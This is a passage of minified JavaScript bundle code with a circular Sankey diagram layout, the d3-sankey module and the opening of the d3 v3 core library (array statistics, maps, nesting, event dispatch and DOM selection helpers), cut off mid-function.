st.target.column==Be&&st.circularLinkType==$e}),Ce.circularLinkType=="bottom"?Xe.sort(fe):Xe.sort(ne),Ze=0,Xe.forEach(function(st,lt){st.circularLinkID==Ce.circularLinkID&&(Ce.circularPathData.rightSmallArcRadius=m+Ce.width/2+Ze,Ce.circularPathData.rightLargeArcRadius=m+Ce.width/2+lt*ke+Ze),Ze=Ze+st.width}),Ce.circularLinkType=="bottom"?(Ce.circularPathData.verticalFullExtent=Math.max(_e,Ce.source.y1,Ce.target.y1)+A+Ce.circularPathData.verticalBuffer,Ce.circularPathData.verticalLeftInnerExtent=Ce.circularPathData.verticalFullExtent-Ce.circularPathData.leftLargeArcRadius,Ce.circularPathData.verticalRightInnerExtent=Ce.circularPathData.verticalFullExtent-Ce.circularPathData.rightLargeArcRadius):(Ce.circularPathData.verticalFullExtent=Te-A-Ce.circularPathData.verticalBuffer,Ce.circularPathData.verticalLeftInnerExtent=Ce.circularPathData.verticalFullExtent+Ce.circularPathData.leftLargeArcRadius,Ce.circularPathData.verticalRightInnerExtent=Ce.circularPathData.verticalFullExtent+Ce.circularPathData.rightLargeArcRadius)}Ce.circularPathData.leftInnerExtent=Ce.circularPathData.sourceX+Ce.circularPathData.leftNodeBuffer,Ce.circularPathData.rightInnerExtent=Ce.circularPathData.targetX-Ce.circularPathData.rightNodeBuffer,Ce.circularPathData.leftFullExtent=Ce.circularPathData.sourceX+Ce.circularPathData.leftLargeArcRadius+Ce.circularPathData.leftNodeBuffer,Ce.circularPathData.rightFullExtent=Ce.circularPathData.targetX-Ce.circularPathData.rightLargeArcRadius-Ce.circularPathData.rightNodeBuffer}if(Ce.circular)Ce.path=N(Ce);else{var Ke=(0,o.h5)().source(function(st){var lt=st.source.x0+(st.source.x1-st.source.x0),ut=st.y0;return[lt,ut]}).target(function(st){var lt=st.target.x0,ut=st.y1;return[lt,ut]});Ce.path=Ke(Ce)}})}function N(xe){var ke="";return xe.circularLinkType=="top"?ke="M"+xe.circularPathData.sourceX+" "+xe.circularPathData.sourceY+" L"+xe.circularPathData.leftInnerExtent+" "+xe.circularPathData.sourceY+" A"+xe.circularPathData.leftLargeArcRadius+" "+xe.circularPathData.leftSmallArcRadius+" 0 0 0 "+xe.circularPathData.leftFullExtent+" "+(xe.circularPathData.sourceY-xe.circularPathData.leftSmallArcRadius)+" L"+xe.circularPathData.leftFullExtent+" "+xe.circularPathData.verticalLeftInnerExtent+" A"+xe.circularPathData.leftLargeArcRadius+" "+xe.circularPathData.leftLargeArcRadius+" 0 0 0 "+xe.circularPathData.leftInnerExtent+" "+xe.circularPathData.verticalFullExtent+" L"+xe.circularPathData.rightInnerExtent+" "+xe.circularPathData.verticalFullExtent+" A"+xe.circularPathData.rightLargeArcRadius+" "+xe.circularPathData.rightLargeArcRadius+" 0 0 0 "+xe.circularPathData.rightFullExtent+" "+xe.circularPathData.verticalRightInnerExtent+" L"+xe.circularPathData.rightFullExtent+" "+(xe.circularPathData.targetY-xe.circularPathData.rightSmallArcRadius)+" A"+xe.circularPathData.rightLargeArcRadius+" "+xe.circularPathData.rightSmallArcRadius+" 0 0 0 "+xe.circularPathData.rightInnerExtent+" "+xe.circularPathData.targetY+" L"+xe.circularPathData.targetX+" "+xe.circularPathData.targetY:ke="M"+xe.circularPathData.sourceX+" "+xe.circularPathData.sourceY+" L"+xe.circularPathData.leftInnerExtent+" "+xe.circularPathData.sourceY+" A"+xe.circularPathData.leftLargeArcRadius+" "+xe.circularPathData.leftSmallArcRadius+" 0 0 1 "+xe.circularPathData.leftFullExtent+" "+(xe.circularPathData.sourceY+xe.circularPathData.leftSmallArcRadius)+" L"+xe.circularPathData.leftFullExtent+" "+xe.circularPathData.verticalLeftInnerExtent+" A"+xe.circularPathData.leftLargeArcRadius+" "+xe.circularPathData.leftLargeArcRadius+" 0 0 1 "+xe.circularPathData.leftInnerExtent+" "+xe.circularPathData.verticalFullExtent+" L"+xe.circularPathData.rightInnerExtent+" "+xe.circularPathData.verticalFullExtent+" A"+xe.circularPathData.rightLargeArcRadius+" "+xe.circularPathData.rightLargeArcRadius+" 0 0 1 "+xe.circularPathData.rightFullExtent+" "+xe.circularPathData.verticalRightInnerExtent+" L"+xe.circularPathData.rightFullExtent+" "+(xe.circularPathData.targetY+xe.circularPathData.rightSmallArcRadius)+" A"+xe.circularPathData.rightLargeArcRadius+" "+xe.circularPathData.rightSmallArcRadius+" 0 0 1 "+xe.circularPathData.rightInnerExtent+" "+xe.circularPathData.targetY+" L"+xe.circularPathData.targetX+" "+xe.circularPathData.targetY,ke}function G(xe,ke){return X(xe)==X(ke)?xe.circularLinkType=="bottom"?q(xe,ke):J(xe,ke):X(ke)-X(xe)}function J(xe,ke){return xe.y0-ke.y0}function q(xe,ke){return ke.y0-xe.y0}function ne(xe,ke){return xe.y1-ke.y1}function fe(xe,ke){return ke.y1-xe.y1}function X(xe){return xe.target.column-xe.source.column}function W(xe){return xe.target.x0-xe.source.x1}function V(xe,ke){var _e=k(xe),be=W(ke)/Math.tan(_e),ge=le(xe)=="up"?xe.y1+be:xe.y1-be;return ge}function Y(xe,ke){var _e=k(xe),be=W(ke)/Math.tan(_e),ge=le(xe)=="up"?xe.y1-be:xe.y1+be;return ge}function Q(xe,ke,_e,be){xe.links.forEach(function(ge){if(!ge.circular&&ge.target.column-ge.source.column>1){var Te=ge.source.column+1,Fe=ge.target.column-1,Oe=1,Ce=Fe-Te+1;for(Oe=1;Te<=Fe;Te++,Oe++)xe.nodes.forEach(function(Be){if(Be.column==Te){var $e=Oe/(Ce+1),Xe=Math.pow(1-$e,3),Ze=3*$e*Math.pow(1-$e,2),Ke=3*Math.pow($e,2)*(1-$e),st=Math.pow($e,3),lt=Xe*ge.y0+Ze*ge.y0+Ke*ge.y1+st*ge.y1,ut=lt-ge.width/2,yt=lt+ge.width/2,bt;ut>Be.y0&&ut<Be.y1?(bt=Be.y1-ut+10,bt=Be.circularLinkType=="bottom"?bt:-bt,Be=j(Be,bt,ke,_e),xe.nodes.forEach(function(Ot){p(Ot,be)==p(Be,be)||Ot.column!=Be.column||ie(Be,Ot)&&j(Ot,bt,ke,_e)})):yt>Be.y0&&yt<Be.y1?(bt=yt-Be.y0+10,Be=j(Be,bt,ke,_e),xe.nodes.forEach(function(Ot){p(Ot,be)==p(Be,be)||Ot.column!=Be.column||Ot.y0<Be.y1&&Ot.y1>Be.y1&&j(Ot,bt,ke,_e)})):ut<Be.y0&&yt>Be.y1&&(bt=yt-Be.y0+10,Be=j(Be,bt,ke,_e),xe.nodes.forEach(function(Ot){p(Ot,be)==p(Be,be)||Ot.column!=Be.column||Ot.y0<Be.y1&&Ot.y1>Be.y1&&j(Ot,bt,ke,_e)}))}})}})}function ie(xe,ke){return xe.y0>ke.y0&&xe.y0<ke.y1||xe.y1>ke.y0&&xe.y1<ke.y1?!0:xe.y0<ke.y0&&xe.y1>ke.y1}function j(xe,ke,_e,be){return xe.y0+ke>=_e&&xe.y1+ke<=be&&(xe.y0=xe.y0+ke,xe.y1=xe.y1+ke,xe.targetLinks.forEach(function(ge){ge.y1=ge.y1+ke}),xe.sourceLinks.forEach(function(ge){ge.y0=ge.y0+ke})),xe}function K(xe,ke,_e,be){xe.nodes.forEach(function(ge){be&&ge.y+(ge.y1-ge.y0)>ke&&(ge.y=ge.y-(ge.y+(ge.y1-ge.y0)-ke));var Te=xe.links.filter(function(Ce){return p(Ce.source,_e)==p(ge,_e)}),Fe=Te.length;Fe>1&&Te.sort(function(Ce,Be){if(!Ce.circular&&!Be.circular){if(Ce.target.column==Be.target.column)return Ce.y1-Be.y1;if(re(Ce,Be)){if(Ce.target.column>Be.target.column){var $e=Y(Be,Ce);return Ce.y1-$e}if(Be.target.column>Ce.target.column){var Xe=Y(Ce,Be);return Xe-Be.y1}}else return Ce.y1-Be.y1}if(Ce.circular&&!Be.circular)return Ce.circularLinkType=="top"?-1:1;if(Be.circular&&!Ce.circular)return Be.circularLinkType=="top"?1:-1;if(Ce.circular&&Be.circular)return Ce.circularLinkType===Be.circularLinkType&&Ce.circularLinkType=="top"?Ce.target.column===Be.target.column?Ce.target.y1-Be.target.y1:Be.target.column-Ce.target.column:Ce.circularLinkType===Be.circularLinkType&&Ce.circularLinkType=="bottom"?Ce.target.column===Be.target.column?Be.target.y1-Ce.target.y1:Ce.target.column-Be.target.column:Ce.circularLinkType=="top"?-1:1});var Oe=ge.y0;Te.forEach(function(Ce){Ce.y0=Oe+Ce.width/2,Oe=Oe+Ce.width}),Te.forEach(function(Ce,Be){if(Ce.circularLinkType=="bottom"){var $e=Be+1,Xe=0;for($e;$e<Fe;$e++)Xe=Xe+Te[$e].width;Ce.y0=ge.y1-Xe-Ce.width/2}})})}function oe(xe,ke,_e){xe.nodes.forEach(function(be){var ge=xe.links.filter(function(Oe){return p(Oe.target,_e)==p(be,_e)}),Te=ge.length;Te>1&&ge.sort(function(Oe,Ce){if(!Oe.circular&&!Ce.circular){if(Oe.source.column==Ce.source.column)return Oe.y0-Ce.y0;if(re(Oe,Ce)){if(Ce.source.column<Oe.source.column){var Be=V(Ce,Oe);return Oe.y0-Be}if(Oe.source.column<Ce.source.column){var $e=V(Oe,Ce);return $e-Ce.y0}}else return Oe.y0-Ce.y0}if(Oe.circular&&!Ce.circular)return Oe.circularLinkType=="top"?-1:1;if(Ce.circular&&!Oe.circular)return Ce.circularLinkType=="top"?1:-1;if(Oe.circular&&Ce.circular)return Oe.circularLinkType===Ce.circularLinkType&&Oe.circularLinkType=="top"?Oe.source.column===Ce.source.column?Oe.source.y1-Ce.source.y1:Oe.source.column-Ce.source.column:Oe.circularLinkType===Ce.circularLinkType&&Oe.circularLinkType=="bottom"?Oe.source.column===Ce.source.column?Oe.source.y1-Ce.source.y1:Ce.source.column-Oe.source.column:Oe.circularLinkType=="top"?-1:1});var Fe=be.y0;ge.forEach(function(Oe){Oe.y1=Fe+Oe.width/2,Fe=Fe+Oe.width}),ge.forEach(function(Oe,Ce){if(Oe.circularLinkType=="bottom"){var Be=Ce+1,$e=0;for(Be;Be<Te;Be++)$e=$e+ge[Be].width;Oe.y1=be.y1-$e-Oe.width/2}})})}function re(xe,ke){return le(xe)==le(ke)}function le(xe){return xe.y0-xe.y1>0?"up":"down"}function pe(xe,ke){return p(xe.source,ke)==p(xe.target,ke)}function we(xe,ke,_e){var be=xe.nodes,ge=xe.links,Te=!1,Fe=!1;if(ge.forEach(function(Ze){Ze.circularLinkType=="top"?Te=!0:Ze.circularLinkType=="bottom"&&(Fe=!0)}),Te==!1||Fe==!1){var Oe=(0,M.VV)(be,function(Ze){return Ze.y0}),Ce=(0,M.Fp)(be,function(Ze){return Ze.y1}),Be=Ce-Oe,$e=_e-ke,Xe=$e/Be;be.forEach(function(Ze){var Ke=(Ze.y1-Ze.y0)*Xe;Ze.y0=(Ze.y0-Oe)*Xe,Ze.y1=Ze.y0+Ke}),ge.forEach(function(Ze){Ze.y0=(Ze.y0-Oe)*Xe,Ze.y1=(Ze.y1-Oe)*Xe,Ze.width=Ze.width*Xe})}}},30838:function(te,Z,e){e.r(Z),e.d(Z,{sankey:function(){return v},sankeyCenter:function(){return g},sankeyJustify:function(){return d},sankeyLeft:function(){return L},sankeyLinkHorizontal:function(){return p},sankeyRight:function(){return S}});var M=e(33064),P=e(15140);function o(A){return A.target.depth}function L(A){return A.depth}function S(A,m){return m-1-A.height}function d(A,m){return A.sourceLinks.length?A.depth:m-1}function g(A){return A.targetLinks.length?A.depth:A.sourceLinks.length?(0,M.VV)(A.sourceLinks,o)-1:0}function t(A){return function(){return A}}function r(A,m){return a(A.source,m.source)||A.index-m.index}function f(A,m){return a(A.target,m.target)||A.index-m.index}function a(A,m){return A.y0-m.y0}function l(A){return A.value}function u(A){return(A.y0+A.y1)/2}function s(A){return u(A.source)*A.value}function y(A){return u(A.target)*A.value}function c(A){return A.index}function b(A){return A.nodes}function h(A){return A.links}function i(A,m){var n=A.get(m);if(!n)throw new Error("missing: "+m);return n}function v(){var A=0,m=0,n=1,C=1,x=24,I=8,k=c,B=d,_=b,F=h,O=32,z=2/3;function N(){var X={nodes:_.apply(null,arguments),links:F.apply(null,arguments)};return G(X),J(X),q(X),ne(X),fe(X),X}N.update=function(X){return fe(X),X},N.nodeId=function(X){return arguments.length?(k=typeof X=="function"?X:t(X),N):k},N.nodeAlign=function(X){return arguments.length?(B=typeof X=="function"?X:t(X),N):B},N.nodeWidth=function(X){return arguments.length?(x=+X,N):x},N.nodePadding=function(X){return arguments.length?(I=+X,N):I},N.nodes=function(X){return arguments.length?(_=typeof X=="function"?X:t(X),N):_},N.links=function(X){return arguments.length?(F=typeof X=="function"?X:t(X),N):F},N.size=function(X){return arguments.length?(A=m=0,n=+X[0],C=+X[1],N):[n-A,C-m]},N.extent=function(X){return arguments.length?(A=+X[0][0],n=+X[1][0],m=+X[0][1],C=+X[1][1],N):[[A,m],[n,C]]},N.iterations=function(X){return arguments.length?(O=+X,N):O};function G(X){X.nodes.forEach(function(V,Y){V.index=Y,V.sourceLinks=[],V.targetLinks=[]});var W=(0,P.UI)(X.nodes,k);X.links.forEach(function(V,Y){V.index=Y;var Q=V.source,ie=V.target;typeof Q!="object"&&(Q=V.source=i(W,Q)),typeof ie!="object"&&(ie=V.target=i(W,ie)),Q.sourceLinks.push(V),ie.targetLinks.push(V)})}function J(X){X.nodes.forEach(function(W){W.value=Math.max((0,M.Sm)(W.sourceLinks,l),(0,M.Sm)(W.targetLinks,l))})}function q(X){var W,V,Y;for(W=X.nodes,V=[],Y=0;W.length;++Y,W=V,V=[])W.forEach(function(ie){ie.depth=Y,ie.sourceLinks.forEach(function(j){V.indexOf(j.target)<0&&V.push(j.target)})});for(W=X.nodes,V=[],Y=0;W.length;++Y,W=V,V=[])W.forEach(function(ie){ie.height=Y,ie.targetLinks.forEach(function(j){V.indexOf(j.source)<0&&V.push(j.source)})});var Q=(n-A-x)/(Y-1);X.nodes.forEach(function(ie){ie.x1=(ie.x0=A+Math.max(0,Math.min(Y-1,Math.floor(B.call(null,ie,Y))))*Q)+x})}function ne(X){var W=(0,P.b1)().key(function(oe){return oe.x0}).sortKeys(M.j2).entries(X.nodes).map(function(oe){return oe.values});Q(),K();for(var V=1,Y=O;Y>0;--Y)j(V*=.99),K(),ie(V),K();function Q(){var oe=(0,M.Fp)(W,function(pe){return pe.length}),re=z*(C-m)/(oe-1);I>re&&(I=re);var le=(0,M.VV)(W,function(pe){return(C-m-(pe.length-1)*I)/(0,M.Sm)(pe,l)});W.forEach(function(pe){pe.forEach(function(we,xe){we.y1=(we.y0=xe)+we.value*le})}),X.links.forEach(function(pe){pe.width=pe.value*le})}function ie(oe){W.forEach(function(re){re.forEach(function(le){if(le.targetLinks.length){var pe=((0,M.Sm)(le.targetLinks,s)/(0,M.Sm)(le.targetLinks,l)-u(le))*oe;le.y0+=pe,le.y1+=pe}})})}function j(oe){W.slice().reverse().forEach(function(re){re.forEach(function(le){if(le.sourceLinks.length){var pe=((0,M.Sm)(le.sourceLinks,y)/(0,M.Sm)(le.sourceLinks,l)-u(le))*oe;le.y0+=pe,le.y1+=pe}})})}function K(){W.forEach(function(oe){var re,le,pe=m,we=oe.length,xe;for(oe.sort(a),xe=0;xe<we;++xe)re=oe[xe],le=pe-re.y0,le>0&&(re.y0+=le,re.y1+=le),pe=re.y1+I;if(le=pe-I-C,le>0)for(pe=re.y0-=le,re.y1-=le,xe=we-2;xe>=0;--xe)re=oe[xe],le=re.y1+I-pe,le>0&&(re.y0-=le,re.y1-=le),pe=re.y0})}}function fe(X){X.nodes.forEach(function(W){W.sourceLinks.sort(f),W.targetLinks.sort(r)}),X.nodes.forEach(function(W){var V=W.y0,Y=V;W.sourceLinks.forEach(function(Q){Q.y0=V+Q.width/2,V+=Q.width}),W.targetLinks.forEach(function(Q){Q.y1=Y+Q.width/2,Y+=Q.width})})}return N}var T=e(45879);function w(A){return[A.source.x1,A.y0]}function E(A){return[A.target.x0,A.y1]}function p(){return(0,T.h5)().source(w).target(E)}},39898:function(te,Z,e){var M,P;(function(){var o={version:"3.8.0"},L=[].slice,S=function(se){return L.call(se)},d=self.document;function g(se){return se&&(se.ownerDocument||se.document||se).documentElement}function t(se){return se&&(se.ownerDocument&&se.ownerDocument.defaultView||se.document&&se||se.defaultView)}if(d)try{S(d.documentElement.childNodes)[0].nodeType}catch{S=function(Ae){for(var ze=Ae.length,Ye=new Array(ze);ze--;)Ye[ze]=Ae[ze];return Ye}}if(Date.now||(Date.now=function(){return+new Date}),d)try{d.createElement("DIV").style.setProperty("opacity",0,"")}catch{var r=this.Element.prototype,f=r.setAttribute,a=r.setAttributeNS,l=this.CSSStyleDeclaration.prototype,u=l.setProperty;r.setAttribute=function(Ae,ze){f.call(this,Ae,ze+"")},r.setAttributeNS=function(Ae,ze,Ye){a.call(this,Ae,ze,Ye+"")},l.setProperty=function(Ae,ze,Ye){u.call(this,Ae,ze+"",Ye)}}o.ascending=s;function s(se,Ae){return se<Ae?-1:se>Ae?1:se>=Ae?0:NaN}o.descending=function(se,Ae){return Ae<se?-1:Ae>se?1:Ae>=se?0:NaN},o.min=function(se,Ae){var ze=-1,Ye=se.length,je,qe;if(arguments.length===1){for(;++ze<Ye;)if((qe=se[ze])!=null&&qe>=qe){je=qe;break}for(;++ze<Ye;)(qe=se[ze])!=null&&je>qe&&(je=qe)}else{for(;++ze<Ye;)if((qe=Ae.call(se,se[ze],ze))!=null&&qe>=qe){je=qe;break}for(;++ze<Ye;)(qe=Ae.call(se,se[ze],ze))!=null&&je>qe&&(je=qe)}return je},o.max=function(se,Ae){var ze=-1,Ye=se.length,je,qe;if(arguments.length===1){for(;++ze<Ye;)if((qe=se[ze])!=null&&qe>=qe){je=qe;break}for(;++ze<Ye;)(qe=se[ze])!=null&&qe>je&&(je=qe)}else{for(;++ze<Ye;)if((qe=Ae.call(se,se[ze],ze))!=null&&qe>=qe){je=qe;break}for(;++ze<Ye;)(qe=Ae.call(se,se[ze],ze))!=null&&qe>je&&(je=qe)}return je},o.extent=function(se,Ae){var ze=-1,Ye=se.length,je,qe,Mt;if(arguments.length===1){for(;++ze<Ye;)if((qe=se[ze])!=null&&qe>=qe){je=Mt=qe;break}for(;++ze<Ye;)(qe=se[ze])!=null&&(je>qe&&(je=qe),Mt<qe&&(Mt=qe))}else{for(;++ze<Ye;)if((qe=Ae.call(se,se[ze],ze))!=null&&qe>=qe){je=Mt=qe;break}for(;++ze<Ye;)(qe=Ae.call(se,se[ze],ze))!=null&&(je>qe&&(je=qe),Mt<qe&&(Mt=qe))}return[je,Mt]};function y(se){return se===null?NaN:+se}function c(se){return!isNaN(se)}o.sum=function(se,Ae){var ze=0,Ye=se.length,je,qe=-1;if(arguments.length===1)for(;++qe<Ye;)c(je=+se[qe])&&(ze+=je);else for(;++qe<Ye;)c(je=+Ae.call(se,se[qe],qe))&&(ze+=je);return ze},o.mean=function(se,Ae){var ze=0,Ye=se.length,je,qe=-1,Mt=Ye;if(arguments.length===1)for(;++qe<Ye;)c(je=y(se[qe]))?ze+=je:--Mt;else for(;++qe<Ye;)c(je=y(Ae.call(se,se[qe],qe)))?ze+=je:--Mt;if(Mt)return ze/Mt},o.quantile=function(se,Ae){var ze=(se.length-1)*Ae+1,Ye=Math.floor(ze),je=+se[Ye-1],qe=ze-Ye;return qe?je+qe*(se[Ye]-je):je},o.median=function(se,Ae){var ze=[],Ye=se.length,je,qe=-1;if(arguments.length===1)for(;++qe<Ye;)c(je=y(se[qe]))&&ze.push(je);else for(;++qe<Ye;)c(je=y(Ae.call(se,se[qe],qe)))&&ze.push(je);if(ze.length)return o.quantile(ze.sort(s),.5)},o.variance=function(se,Ae){var ze=se.length,Ye=0,je,qe,Mt=0,it=-1,kt=0;if(arguments.length===1)for(;++it<ze;)c(je=y(se[it]))&&(qe=je-Ye,Ye+=qe/++kt,Mt+=qe*(je-Ye));else for(;++it<ze;)c(je=y(Ae.call(se,se[it],it)))&&(qe=je-Ye,Ye+=qe/++kt,Mt+=qe*(je-Ye));if(kt>1)return Mt/(kt-1)},o.deviation=function(){var se=o.variance.apply(this,arguments);return se&&Math.sqrt(se)};function b(se){return{left:function(Ae,ze,Ye,je){for(arguments.length<3&&(Ye=0),arguments.length<4&&(je=Ae.length);Ye<je;){var qe=Ye+je>>>1;se(Ae[qe],ze)<0?Ye=qe+1:je=qe}return Ye},right:function(Ae,ze,Ye,je){for(arguments.length<3&&(Ye=0),arguments.length<4&&(je=Ae.length);Ye<je;){var qe=Ye+je>>>1;se(Ae[qe],ze)>0?je=qe:Ye=qe+1}return Ye}}}var h=b(s);o.bisectLeft=h.left,o.bisect=o.bisectRight=h.right,o.bisector=function(se){return b(se.length===1?function(Ae,ze){return s(se(Ae),ze)}:se)},o.shuffle=function(se,Ae,ze){(Ye=arguments.length)<3&&(ze=se.length,Ye<2&&(Ae=0));for(var Ye=ze-Ae,je,qe;Ye;)qe=Math.random()*Ye--|0,je=se[Ye+Ae],se[Ye+Ae]=se[qe+Ae],se[qe+Ae]=je;return se},o.permute=function(se,Ae){for(var ze=Ae.length,Ye=new Array(ze);ze--;)Ye[ze]=se[Ae[ze]];return Ye},o.pairs=function(se){for(var Ae=0,ze=se.length-1,Ye=se[0],je=new Array(ze<0?0:ze);Ae<ze;)je[Ae]=[Ye,Ye=se[++Ae]];return je},o.transpose=function(se){if(!(qe=se.length))return[];for(var Ae=-1,ze=o.min(se,i),Ye=new Array(ze);++Ae<ze;)for(var je=-1,qe,Mt=Ye[Ae]=new Array(qe);++je<qe;)Mt[je]=se[je][Ae];return Ye};function i(se){return se.length}o.zip=function(){return o.transpose(arguments)},o.keys=function(se){var Ae=[];for(var ze in se)Ae.push(ze);return Ae},o.values=function(se){var Ae=[];for(var ze in se)Ae.push(se[ze]);return Ae},o.entries=function(se){var Ae=[];for(var ze in se)Ae.push({key:ze,value:se[ze]});return Ae},o.merge=function(se){for(var Ae=se.length,ze,Ye=-1,je=0,qe,Mt;++Ye<Ae;)je+=se[Ye].length;for(qe=new Array(je);--Ae>=0;)for(Mt=se[Ae],ze=Mt.length;--ze>=0;)qe[--je]=Mt[ze];return qe};var v=Math.abs;o.range=function(se,Ae,ze){if(arguments.length<3&&(ze=1,arguments.length<2&&(Ae=se,se=0)),(Ae-se)/ze===1/0)throw new Error("infinite range");var Ye=[],je=T(v(ze)),qe=-1,Mt;if(se*=je,Ae*=je,ze*=je,ze<0)for(;(Mt=se+ze*++qe)>Ae;)Ye.push(Mt/je);else for(;(Mt=se+ze*++qe)<Ae;)Ye.push(Mt/je);return Ye};function T(se){for(var Ae=1;se*Ae%1;)Ae*=10;return Ae}function w(se,Ae){for(var ze in Ae)Object.defineProperty(se.prototype,ze,{value:Ae[ze],enumerable:!1})}o.map=function(se,Ae){var ze=new E;if(se instanceof E)se.forEach(function(it,kt){ze.set(it,kt)});else if(Array.isArray(se)){var Ye=-1,je=se.length,qe;if(arguments.length===1)for(;++Ye<je;)ze.set(Ye,se[Ye]);else for(;++Ye<je;)ze.set(Ae.call(se,qe=se[Ye],Ye),qe)}else for(var Mt in se)ze.set(Mt,se[Mt]);return ze};function E(){this._=Object.create(null)}var p="__proto__",A="\0";w(E,{has:C,get:function(se){return this._[m(se)]},set:function(se,Ae){return this._[m(se)]=Ae},remove:x,keys:I,values:function(){var se=[];for(var Ae in this._)se.push(this._[Ae]);return se},entries:function(){var se=[];for(var Ae in this._)se.push({key:n(Ae),value:this._[Ae]});return se},size:k,empty:B,forEach:function(se){for(var Ae in this._)se.call(this,n(Ae),this._[Ae])}});function m(se){return(se+="")===p||se[0]===A?A+se:se}function n(se){return(se+="")[0]===A?se.slice(1):se}function C(se){return m(se)in this._}function x(se){return(se=m(se))in this._&&delete this._[se]}function I(){var se=[];for(var Ae in this._)se.push(n(Ae));return se}function k(){var se=0;for(var Ae in this._)++se;return se}function B(){for(var se in this._)return!1;return!0}o.nest=function(){var se={},Ae=[],ze=[],Ye,je;function qe(it,kt,jt){if(jt>=Ae.length)return je?je.call(se,kt):Ye?kt.sort(Ye):kt;for(var Kt=-1,wr=kt.length,xr=Ae[jt++],Gr,jr,Mr,_r=new E,Hr;++Kt<wr;)(Hr=_r.get(Gr=xr(jr=kt[Kt])))?Hr.push(jr):_r.set(Gr,[jr]);return it?(jr=it(),Mr=function(Kr,rn){jr.set(Kr,qe(it,rn,jt))}):(jr={},Mr=function(Kr,rn){jr[Kr]=qe(it,rn,jt)}),_r.forEach(Mr),jr}function Mt(it,kt){if(kt>=Ae.length)return it;var jt=[],Kt=ze[kt++];return it.forEach(function(wr,xr){jt.push({key:wr,values:Mt(xr,kt)})}),Kt?jt.sort(function(wr,xr){return Kt(wr.key,xr.key)}):jt}return se.map=function(it,kt){return qe(kt,it,0)},se.entries=function(it){return Mt(qe(o.map,it,0),0)},se.key=function(it){return Ae.push(it),se},se.sortKeys=function(it){return ze[Ae.length-1]=it,se},se.sortValues=function(it){return Ye=it,se},se.rollup=function(it){return je=it,se},se},o.set=function(se){var Ae=new _;if(se)for(var ze=0,Ye=se.length;ze<Ye;++ze)Ae.add(se[ze]);return Ae};function _(){this._=Object.create(null)}w(_,{has:C,add:function(se){return this._[m(se+="")]=!0,se},remove:x,values:I,size:k,empty:B,forEach:function(se){for(var Ae in this._)se.call(this,n(Ae))}}),o.behavior={};function F(se){return se}o.rebind=function(se,Ae){for(var ze=1,Ye=arguments.length,je;++ze<Ye;)se[je=arguments[ze]]=O(se,Ae,Ae[je]);return se};function O(se,Ae,ze){return function(){var Ye=ze.apply(Ae,arguments);return Ye===Ae?se:Ye}}function z(se,Ae){if(Ae in se)return Ae;Ae=Ae.charAt(0).toUpperCase()+Ae.slice(1);for(var ze=0,Ye=N.length;ze<Ye;++ze){var je=N[ze]+Ae;if(je in se)return je}}var N=["webkit","ms","moz","Moz","o","O"];function G(){}o.dispatch=function(){for(var se=new J,Ae=-1,ze=arguments.length;++Ae<ze;)se[arguments[Ae]]=q(se);return se};function J(){}J.prototype.on=function(se,Ae){var ze=se.indexOf("."),Ye="";if(ze>=0&&(Ye=se.slice(ze+1),se=se.slice(0,ze)),se)return arguments.length<2?this[se].on(Ye):this[se].on(Ye,Ae);if(arguments.length===2){if(Ae==null)for(se in this)this.hasOwnProperty(se)&&this[se].on(Ye,null);return this}};function q(se){var Ae=[],ze=new E;function Ye(){for(var je=Ae,qe=-1,Mt=je.length,it;++qe<Mt;)(it=je[qe].on)&&it.apply(this,arguments);return se}return Ye.on=function(je,qe){var Mt=ze.get(je),it;return arguments.length<2?Mt&&Mt.on:(Mt&&(Mt.on=null,Ae=Ae.slice(0,it=Ae.indexOf(Mt)).concat(Ae.slice(it+1)),ze.remove(je)),qe&&Ae.push(ze.set(je,{on:qe})),se)},Ye}o.event=null;function ne(){o.event.preventDefault()}function fe(){for(var se=o.event,Ae;Ae=se.sourceEvent;)se=Ae;return se}function X(se){for(var Ae=new J,ze=0,Ye=arguments.length;++ze<Ye;)Ae[arguments[ze]]=q(Ae);return Ae.of=function(je,qe){return function(Mt){try{var it=Mt.sourceEvent=o.event;Mt.target=se,o.event=Mt,Ae[Mt.type].apply(je,qe)}finally{o.event=it}}},Ae}o.requote=function(se){return se.replace(W,"\\$&")};var W=/[\\\^\$\*\+\?\|\[\]\(\)\.\{\}]/g,V={}.__proto__?function(se,Ae){se.__proto__=Ae}:function(se,Ae){for(var ze in Ae)se[ze]=Ae[ze]};function Y(se){return V(se,K),se}var Q=function(se,Ae){return Ae.querySelector(se)},ie=function(se,Ae){return Ae.querySelectorAll(se)},j=function(se,Ae){var ze=se.matches||se[z(se,"matchesSelector")];return j=function(Ye,je){return ze.call(Ye,je)},j(se,Ae)};typeof Sizzle=="function"&&(Q=function(se,Ae){return Sizzle(se,Ae)[0]||null},ie=Sizzle,j=Sizzle.matchesSelector),o.selection=function(){return o.select(d.documentElement)};var K=o.selection.prototype=[];K.select=function(se){var Ae=[],ze,Ye,je,qe;se=oe(se);for(var Mt=-1,it=this.length;++Mt<it;){Ae.push(ze=[]),ze.parentNode=(je=this[Mt]).parentNode;for(var kt=-1,jt=je.length;++kt<jt;)(qe=je[kt])?(ze.push(Ye=se.call(qe,qe.__data__,kt,Mt)),Ye&&"__data__"in qe&&(Ye.__data__=qe.__data__)):ze.push(null)}return Y(Ae)};function oe(se){return typeof se=="function"?se:function(){return Q(se,this)}}K.selectAll=function(se){var Ae=[],ze,Ye;se=re(se);for(var je=-1,qe=this.length;++je<qe;)for(var Mt=this[je],it=-1,kt=Mt.length;++it<kt;)(Ye=Mt[it])&&(Ae.push(ze=S(se.call(Ye,Ye.__data__,it,je))),ze.parentNode=Ye);return Y(Ae)};function re(se){return typeof se=="function"?se:function(){return ie(se,this)}}var le="http://www.w3.org/1999/xhtml",pe={svg:"http://www.w3.org/2000/svg",xhtml:le,xlink:"http://www.w3.org/1999/xlink",xml:"http://www.w3.org/XML/1998/namespace",xmlns:"http://www.w3.org/2000/xmlns/"};o.ns={prefix:pe,qualify:function(se){var Ae=se.indexOf(":"),ze=se;return Ae>=0&&(ze=se.slice(0,Ae))!=="xmlns"&&(se=se.slice(Ae+1)),pe.hasOwnProperty(ze)?{space:pe[ze],local:se}:se}},K.attr=function(se,Ae){if(arguments.length<2){if(typeof se=="string"){var ze=this.node();return se=o.ns.qualify(se),se.local?ze.getAttributeNS(se.space,se.local):ze.getAttribute(se)}for(Ae in se)this.each(we(Ae,se[Ae]));return this}return this.each(we(se,Ae))};function we(se,Ae){se=o.ns.qualify(se);function ze(){this.removeAttribute(se)}function Ye(){this.removeAttributeNS(se.space,se.local)}function je(){this.setAttribute(se,Ae)}function qe(){this.setAttributeNS(se.space,se.local,Ae)}function Mt(){var 